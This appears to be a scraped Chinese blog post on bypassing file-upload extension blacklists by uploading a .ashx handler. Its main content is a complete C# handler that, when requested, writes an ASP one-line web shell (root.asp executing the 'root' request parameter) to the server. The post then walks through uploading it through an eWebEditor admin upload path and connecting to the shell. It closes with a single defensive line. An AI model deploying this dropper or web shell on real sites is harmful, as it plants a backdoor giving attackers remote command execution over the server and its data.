绕过黑名单上传

Posted xxrens

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了绕过黑名单上传相关的知识,希望对你有一定的参考价值。

突破上传限制 ashx后缀脚本执行



服务器过滤了asa,cer,cdx,htr,aspx,php,jsp 等脚本

突破的办法是什么呢?过滤常见脚本到底该如何突破?

这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。

代码如下。

<%@ WebHandler Language="C#"Class="Handler" %>

using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}

保存为 ashx ,现在来添加一个 ashx 上传类型看看.

上传成功,直接访问

http://www.xxxxx.com/admin/eWebEditor/UploadFile/201082143554545.ashx就会在当前目录生成一个root.asp的一句话木马。

看上传文件里,root.asp 已经躺在那边了,用lake2的 一句话连接,看见亲切的hello word !

有时候 网站过滤了常见的脚本类型却把 ashx给漏了…


安全措施:别漏了ashx。。。

以上是关于绕过黑名单上传的主要内容,如果未能解决你的问题,请参考以下文章

绕过黑名单上传

文件上传骚姿势合集

一道面试题引发的思考第一篇-文件上传白名单绕过

一道面试题引发的思考第一篇-文件上传白名单绕过

文件上传后端黑名单白名单绕过

文件上传后端黑名单白名单绕过